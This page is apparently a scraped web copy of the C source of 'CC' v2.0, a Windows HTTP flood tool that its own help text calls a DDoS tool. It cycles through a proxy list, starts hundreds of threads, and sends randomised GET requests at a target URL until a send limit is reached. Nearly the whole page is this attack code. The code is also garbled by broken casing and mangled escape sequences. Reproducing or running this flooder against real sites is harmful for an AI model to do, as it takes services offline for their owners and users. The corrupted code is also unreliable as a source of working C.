CPD Source Code

Source: Internet
Author: User
Tags set time sin

#include <winsock.h>
#include <string.h>
#include <stdio.h>
#include <time.h>
#pragma comment (lib, "Wsock32")
#define Wavers Makeword (2,0)
#define Def_delay 5
#define Def_file "Cc.txt"
#define DEF_THREAD 300
#define DEF_MAXSEND 10000
#define DEF_REF "Http://www.n-ku.com/blog/blog.asp?name=bigboyq"
#define VER "2.0"

struct Sproxy
{
Char host[128];
int port;
struct Sproxy *next;
};

struct Sproxy *pnow;
struct Sproxy *head;
struct Sproxy *last;

int MTHREAD,NTHREAD,STOP,BH,BC;
Char *hostip=null,*refer=null,*hosts=null,*cook;

FILE *FP;
long int sendcount,lastcount;
HANDLE Hmutex = NULL;

void usage (char* p)
{
printf ("[+] New DDOS Tool CC v%s/n", VER);
printf ("[+] Welcome everyone to Visit http://www.n-ku.com/blog/blog.asp?name=bigboyq/n");
printf ("[+] more Support, contact qq:167110 or e-mail:hiis@163.com/n");
printf ("[+] usage:%s [option]/n", p);
printf ("[+] [-c <cookie>] Cookies of HTTP to use/n");
printf ("[+] [d <delay>] Set time to Delay default:%d/n", def_delay);
printf ("[+] [f <proxyfile>] Load Proxy from File default:%s/n", def_file);
printf ("[+] [M <maxsend>] Set a Value that you want to Send default:%d/n", def_maxsend);
printf ("[+] [r <refer>] Refer of HTTP refer/n[+] default:%s/n", def_ref);
printf ("[+] [s printf ("[+] [-t <thread>] Set Thread to use default:%d/n", def_thread);
printf ("[+] <-h <HTTPURL>> HTTP request,you must Start with http:///n");
printf ("[+] easyusage:%s <-h httpurl>/n", p);
}

void Procexit ()
{
Send a message to stop the thread
Stop=1;
printf ("[+] Begin exit,please wait Thread to end.../n");
Wait for thread to stop
while (nthread>0)
Sleep (2000);
Free Agent List
Pnow=head;
Pnow=last;
pnow=pnow->next;
printf ("[+] Thread Exit ok! Freeing memory.../n ");
while (Pnow!=head)
{
last=pnow->next;
Free (Pnow);
Pnow=last;
}
Free (Pnow);
printf ("[+] program Exit success!/n");
printf ("[+] you again!/n");
Exit (1);
}

int Netinit ()
{
Wsadata Wsadata;
int err;
Err=wsastartup (Wavers,&wsadata);
return err;
}

char* gethttp (Int j)
{
int i,ct;
Char *buf,*temp=null,*thost,*head=null;
Char *rc=null;
Char rdc[1024];
int ASCS,ASCW;
Srand ((unsigned) time (NULL) +j);

thost= (char *) malloc (1024);
BUF = (char *) malloc (1024);
Head=thost;
memset (thost,0,1024);
memset (buf,0,512);
strcpy (Thost,hostip);
Temp= "Get";
strcat (buf,temp);
ascs=0;ascw=0;
RC=STRCHR (thost, ' + ');
while (RC)
{
Rc[0]= '/0 ';
strcat (Buf,thost);
ct=rc[2]-48;
Switch (rc[1])
{
Case ' s ':
ascs=97;
ascw=26;
Break
Case ' S ':
ascs=65;
ascw=26;
Break
Case ' n ':
Case ' N ':
ascs=48;
ascw=10;
Break
}
for (i=0;i<ct;i++)
Rdc[i]= (char) (Ascs+rand ()%ASCW);
Rdc[ct]= '/0 ';
strcat (BUF,RDC);
thost=&rc[3];
RC=STRCHR (thost, ' + ');
}
strcat (Buf,thost);
temp= "http/1.1/r/n";
strcat (buf,temp);
Temp= "Accept: */*/r/nreferer:";
strcat (buf,temp);
strcat (Buf,refer);
Temp= "/r/naccept-language:zh-cn/r/naccept-encoding:gzip, deflate/r/nuser-agent:mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0. NET CLR 1.1.4322)/r/n ";
strcat (buf,temp);
if (bh==1)
{
temp= "HOST:";
strcat (buf,temp);
strcat (buf,hosts);
temp= "/r/n";
strcat (buf,temp);
}
if (bc==1)
{
temp= "Cookie:";
strcat (buf,temp);
strcat (Buf,cook);
temp= "/r/n";
strcat (buf,temp);
}
temp= "proxy-connection:keep-alive/r/n/r/n";
strcat (buf,temp);
Free (head);
Free (temp);
return buf;
}

DWORD WINAPI Flood (LPVOID i)
{
Char buf[512];
int err;
Char *fhost=null;
Sockaddr_in sin;
SOCKET sock;
WaitForSingleObject (Hmutex,infinite);
nthread++;
ReleaseMutex (Hmutex);
while (stop==1)
{
Sleep (1000);
}
while (stop==0)
{
Such a lock.
WaitForSingleObject (Hmutex,infinite);
pnow=pnow->next;
Sin.sin_port=htons (Pnow->port);
SIN.SIN_ADDR.S_ADDR=INET_ADDR (Pnow->host);
memset (buf,0,512);
Fhost=gethttp ((int) i);
strcat (Buf,fhost);
Free (fhost);
ReleaseMutex (Hmutex);
Sin.sin_family=af_inet;
Sock=socket (AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (Sock==invalid_socket)
{
printf ("[-] Thread Create sock failed/n");
return 0;
}
if (Connect (sock, (SOCKADDR *) &sin,sizeof (sin)) ==socket_error)
{
}
Else
{
WaitForSingleObject (Hmutex,infinite);
sendcount++;
ReleaseMutex (Hmutex);
Err=send (Sock,buf,sizeof (BUF), 0);
}
Closesocket (sock);
}
WaitForSingleObject (Hmutex,infinite);
nthread--;
ReleaseMutex (Hmutex);
Free (BUF);
return 1;
}
int main (int argc, char *argv[])
{
int i,ti,delay;
long int maxsend;
Char *filename=null;
Char fdata[128];
Char mao= ': ';
Char *mp;
/*
Hosts= "www.n-ku.com";
Refer= "www.fz.fj.cn";
hostip= "Http://www.fz.fj.cn/list.asp?id=+s1+n1+S1";
printf ("%s/n", Gethttp (1));
return 1;
*/
bh=0;bc=0;
if (ARGC < 3)
{
printf ("[-] Need Option!!! /n ");
Usage (argv[0]);
return 1;
}
Mthread=def_thread;
Filename=def_file;
Delay=def_delay;
Maxsend=def_maxsend;
Refer=def_ref;
for (i=1;i<argc;i+=2)
{
if (strlen (Argv[i])!= 2)
{
printf ("[-] Option unknow!!! /n ");
Usage (argv[0]);
return 1;
}
Check parameter
if (i = = argc-1)
{
printf ("[-] Option Error!!! /n ");
Usage (argv[0]);
return 1;
}
Switch (argv[i][1])
{
Case ' H ':
HostIP = argv[i+1];
Break
Case ' d ':
Delay = atoi (argv[i+1]);
Break
Case ' t ':
Mthread = Atoi (argv[i+1]);
Break
Case ' F ':
filename = argv[i+1];
Break
Case ' m ':
Maxsend = Atoi (argv[i+1]);
Break
Case ' R ':
REFER=ARGV[I+1];
Break
Case ' s ':
HOSTS=ARGV[I+1];
bh=1;
Break
Case ' C ':
COOK=ARGV[I+1];
Bc=1;
Break
}
}
if (HostIP = NULL)
{
printf ("[-] please Enter HTTP url!/r/n");
return 1;
}
if (mthread<1| | mthread>1900)
{
printf ("[-] Thread [%d] must Between [1-1900]/n", mthread);
return 1;
}
Fp=fopen (filename, "R");
if (fp==null)
{
printf ("[-] filename [%s] Open failed!/n", filename);
return 1;
}
Read Agent section
memset (fdata,0,128);
pnow= (struct sproxy*) malloc (sizeof (struct Sproxy));
Head=pnow;
Last=pnow;
while (FSCANF (FP, "%s", Fdata)!=-1)
{
pnow= (struct sproxy*) malloc (sizeof (struct Sproxy));
memset (pnow->host,0,128);
last->next=pnow;
Last=pnow;
MP=STRRCHR (Fdata,mao);
Mp[0]= '/0 ';
strcat (Pnow->host, fdata);
mp++;
Pnow->port=atoi (MP);
}
Last=head;
head=head->next;
pnow->next=head;
Free (last);
Fclose (FP);
printf ("[+] Proxy Load Success [%s]!/n", filename);
Agent read end, start network
if (Netinit ()!=0)
{
printf ("[-] WSAStartup failed!/n");
return 1;
}
printf ("[+] WSAStartup success!/n[*] wait for Threads begin[");
Now Begin Thread
stop=1;ti=0;
Hmutex = CreateMutex (null, FALSE, NULL);
for (i=0;i<mthread;i++)
{
CreateThread (0, 0, Flood, (void*) I, 0, 0);
if ((I/50) *50==i)
printf (".");
}
Sleep (500);
printf ("]/n[+] [%d] Threads started!/n[+] attacking [%s]/n", Nthread,hostip);
Stop=0;
Sleep (delay*1000);
while (Sendcount<maxsend)
{
ti++;
printf ("[+] Finish: [%d%%] C avg.speed: [%d]/C/s Now: [%d] c/s/n", (sendcount*100)/maxsend,sendcount/(Delay*ti), ( Sendcount-lastcount)/delay);
Lastcount=sendcount;
Sleep (delay*1000);
}
Procexit ();
return 1;
}
/*thanks to everyone ' s Support

If you like it,please tell me hiis@163.com

If you change it,please share your code

If you do this code,please keep my name

Thank you 12.31.2004

*/

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.